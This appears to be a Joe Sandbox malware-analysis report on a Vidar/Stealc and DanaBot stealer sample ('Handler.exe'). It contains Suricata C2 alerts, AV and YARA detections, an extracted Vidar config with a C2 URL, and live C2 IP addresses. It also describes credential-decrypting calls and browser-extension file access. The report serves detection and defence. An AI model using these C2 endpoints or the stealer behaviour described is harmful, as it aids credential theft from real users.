2025-01-13T20:24:30.510015+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50377	194.32.76.77	443	TCP
2025-01-13T20:24:31.578901+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50378	45.76.251.57	443	TCP
2025-01-13T20:24:32.639796+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50379	194.32.76.77	443	TCP
2025-01-13T20:24:33.700768+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50380	45.76.251.57	443	TCP
2025-01-13T20:24:35.974018+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50385	194.32.76.77	443	TCP
2025-01-13T20:24:37.026914+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50386	45.76.251.57	443	TCP
2025-01-13T20:24:38.089134+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50387	194.32.76.77	443	TCP
2025-01-13T20:24:39.152177+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50388	45.76.251.57	443	TCP
2025-01-13T20:24:44.447122+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50393	194.32.76.77	443	TCP
2025-01-13T20:24:44.483034+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50394	45.76.251.57	443	TCP
2025-01-13T20:24:44.519352+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50395	194.32.76.77	443	TCP
2025-01-13T20:24:44.567987+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50396	45.76.251.57	443	TCP
2025-01-13T20:24:51.920714+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50401	194.32.76.77	443	TCP
2025-01-13T20:24:52.983127+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50402	45.76.251.57	443	TCP
2025-01-13T20:24:54.065676+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50403	194.32.76.77	443	TCP
2025-01-13T20:24:55.123477+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50404	45.76.251.57	443	TCP
2025-01-13T20:24:57.389829+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50409	194.32.76.77	443	TCP
2025-01-13T20:24:58.447862+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50410	45.76.251.57	443	TCP
2025-01-13T20:24:59.515023+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50411	194.32.76.77	443	TCP
2025-01-13T20:25:00.581957+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50412	45.76.251.57	443	TCP
2025-01-13T20:25:05.908443+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50417	194.32.76.77	443	TCP
2025-01-13T20:25:05.963485+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50418	45.76.251.57	443	TCP
2025-01-13T20:25:06.009018+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50419	194.32.76.77	443	TCP
2025-01-13T20:25:06.050800+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50420	45.76.251.57	443	TCP
2025-01-13T20:25:13.354159+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50425	194.32.76.77	443	TCP
2025-01-13T20:25:14.415003+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50426	45.76.251.57	443	TCP
2025-01-13T20:25:15.466121+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50427	194.32.76.77	443	TCP
2025-01-13T20:25:16.529564+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50428	45.76.251.57	443	TCP
2025-01-13T20:25:19.754728+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50433	194.32.76.77	443	TCP
2025-01-13T20:25:20.845693+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50434	45.76.251.57	443	TCP
2025-01-13T20:25:21.900935+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50435	194.32.76.77	443	TCP
2025-01-13T20:25:22.973628+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50436	45.76.251.57	443	TCP
2025-01-13T20:25:28.267094+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50441	194.32.76.77	443	TCP
2025-01-13T20:25:28.313680+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50442	45.76.251.57	443	TCP
2025-01-13T20:25:28.361448+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50443	194.32.76.77	443	TCP
2025-01-13T20:25:28.421225+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50444	45.76.251.57	443	TCP
2025-01-13T20:25:35.773743+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50452	194.32.76.77	443	TCP
2025-01-13T20:25:36.842967+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50453	45.76.251.57	443	TCP
2025-01-13T20:25:37.900452+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50454	194.32.76.77	443	TCP
2025-01-13T20:25:38.971056+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50455	45.76.251.57	443	TCP
2025-01-13T20:25:43.259077+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50460	194.32.76.77	443	TCP
2025-01-13T20:25:44.329095+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50461	45.76.251.57	443	TCP
2025-01-13T20:25:45.388046+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50462	194.32.76.77	443	TCP
2025-01-13T20:25:46.441337+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50463	45.76.251.57	443	TCP
2025-01-13T20:25:51.760317+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50468	194.32.76.77	443	TCP
2025-01-13T20:25:51.822716+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50469	45.76.251.57	443	TCP
2025-01-13T20:25:51.864617+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50470	194.32.76.77	443	TCP
2025-01-13T20:25:51.916196+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50471	45.76.251.57	443	TCP
2025-01-13T20:25:59.260999+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50476	194.32.76.77	443	TCP
2025-01-13T20:26:00.334930+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50477	45.76.251.57	443	TCP
2025-01-13T20:26:01.401136+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50478	194.32.76.77	443	TCP
2025-01-13T20:26:02.471031+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50479	45.76.251.57	443	TCP
2025-01-13T20:26:05.800298+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50484	194.32.76.77	443	TCP
2025-01-13T20:26:06.873058+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50485	45.76.251.57	443	TCP
2025-01-13T20:26:07.941727+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50486	194.32.76.77	443	TCP
2025-01-13T20:26:09.001780+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50487	45.76.251.57	443	TCP
2025-01-13T20:26:14.357221+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50492	194.32.76.77	443	TCP
2025-01-13T20:26:15.413950+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50493	45.76.251.57	443	TCP
2025-01-13T20:26:15.458655+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50494	194.32.76.77	443	TCP
2025-01-13T20:26:15.504575+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50495	45.76.251.57	443	TCP
2025-01-13T20:26:22.871014+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50500	194.32.76.77	443	TCP
2025-01-13T20:26:23.930685+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50501	45.76.251.57	443	TCP
2025-01-13T20:26:24.989634+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50502	194.32.76.77	443	TCP
2025-01-13T20:26:26.043654+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50503	45.76.251.57	443	TCP
2025-01-13T20:26:28.315789+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50508	194.32.76.77	443	TCP
2025-01-13T20:26:29.381302+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50509	45.76.251.57	443	TCP
2025-01-13T20:26:30.457362+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50510	194.32.76.77	443	TCP
2025-01-13T20:26:31.502261+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50511	45.76.251.57	443	TCP
2025-01-13T20:26:37.853852+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50516	194.32.76.77	443	TCP
2025-01-13T20:26:37.921807+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50517	45.76.251.57	443	TCP
2025-01-13T20:26:37.971944+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50518	194.32.76.77	443	TCP
2025-01-13T20:26:38.021842+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50519	45.76.251.57	443	TCP
2025-01-13T20:26:45.372324+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50524	194.32.76.77	443	TCP
2025-01-13T20:26:46.453491+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50525	45.76.251.57	443	TCP
2025-01-13T20:26:47.530739+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50526	194.32.76.77	443	TCP
2025-01-13T20:26:48.594826+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50527	45.76.251.57	443	TCP
2025-01-13T20:26:51.859266+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50532	194.32.76.77	443	TCP
2025-01-13T20:26:52.907366+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50533	45.76.251.57	443	TCP
2025-01-13T20:26:53.967293+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50534	194.32.76.77	443	TCP
2025-01-13T20:26:55.033796+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50535	45.76.251.57	443	TCP
2025-01-13T20:27:00.354917+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50540	194.32.76.77	443	TCP
2025-01-13T20:27:00.406787+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50541	45.76.251.57	443	TCP
2025-01-13T20:27:00.450814+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50542	194.32.76.77	443	TCP
2025-01-13T20:27:01.514900+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50543	45.76.251.57	443	TCP
2025-01-13T20:27:08.872933+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50548	194.32.76.77	443	TCP
2025-01-13T20:27:09.931980+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50549	45.76.251.57	443	TCP
2025-01-13T20:27:10.997138+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50550	194.32.76.77	443	TCP
2025-01-13T20:27:12.062823+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50551	45.76.251.57	443	TCP
2025-01-13T20:27:14.321035+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50556	194.32.76.77	443	TCP
2025-01-13T20:27:15.392007+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50557	45.76.251.57	443	TCP
2025-01-13T20:27:16.456889+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50558	194.32.76.77	443	TCP
2025-01-13T20:27:17.512984+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50559	45.76.251.57	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T20:18:09.623773+0100	2044247	1	Malware Command and Control Activity Detected	116.203.11.8	443	192.168.2.5	49715	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T20:18:10.999225+0100	2051831	1	Malware Command and Control Activity Detected	116.203.11.8	443	192.168.2.5	49716	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T20:18:09.623230+0100	2049087	1	A Network Trojan was detected	192.168.2.5	49715	116.203.11.8	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T20:18:53.618341+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50022	162.0.209.157	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T20:18:06.610608+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.5	49709	116.203.11.8	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Handler.exe

Avira: detected

Found malware configuration

Source: 1.2.Handler.exe.400000.0.raw.unpack

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199817305251", "Botnet": "fc0stn"}

Multi AV Scanner detection for submitted file

Source: Handler.exe	Virustotal: Detection: 50%			Perma Link
Source: Handler.exe	ReversingLabs: Detection: 42%

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.5fctr1d2dt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5fctr1d2dt.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\5fctr1d2dt.exe, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\5fctr1d2dt.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Handler.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0040C009 CryptUnprotectData,

1_2_0040C009

Source: Handler.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49748 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.11.8:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.209.157:443 -> 192.168.2.5:50022 version: TLS 1.2

Source: Handler.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Kamnler.pdb source: Handler.exe, 00000000.00000002.2206669540.0000000003D09000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2025548707.00000000008A2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: Kamnler.pdb(b>b 0b_CorExeMainmscoree.dll source: Handler.exe, 00000000.00000002.2206669540.0000000003D09000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2025548707.00000000008A2000.00000002.00000001.01000000.00000003.sdmp

Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041008C FindFirstFileA,	1_2_0041008C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004291EA FindFirstFileA,	1_2_004291EA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00428248 FindFirstFileA,memset,memset,	1_2_00428248
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042A4E5 FindFirstFileA,	1_2_0042A4E5
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040E749 FindFirstFileA,	1_2_0040E749
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040177C FindFirstFileA,	1_2_0040177C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00412AC9 FindFirstFileA,	1_2_00412AC9
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040CCEA FindFirstFileA,	1_2_0040CCEA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042BD1E FindFirstFileA,	1_2_0042BD1E
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004018DA FindFirstFileA,	1_2_004018DA

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_00428DDA GetLogicalDriveStringsA,

1_2_00428DDA

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 37MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50153 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50187 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50161 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50169 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50172 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50164 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50194 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50177 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50154 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50202 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50211 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50196 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50203 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50155 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50204 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50205 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50212 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50170 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50218 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50188 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50230 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50238 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50248 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50241 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50247 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50262 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50254 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50255 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50197 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50240 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50219 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50257 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50171 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50221 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50264 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50220 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50213 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50178 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50231 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50233 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50239 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50179 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50265 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50283 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50282 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50289 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50266 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50297 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50271 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50291 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50290 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50280 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50281 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50288 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50324 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50273 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50329 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50322 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50345 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50272 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50316 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50347 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50348 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50361 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50339 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50340 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50354 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50369 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50379 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50338 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50353 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50362 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50274 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50299 -> 45.76.251.57:443
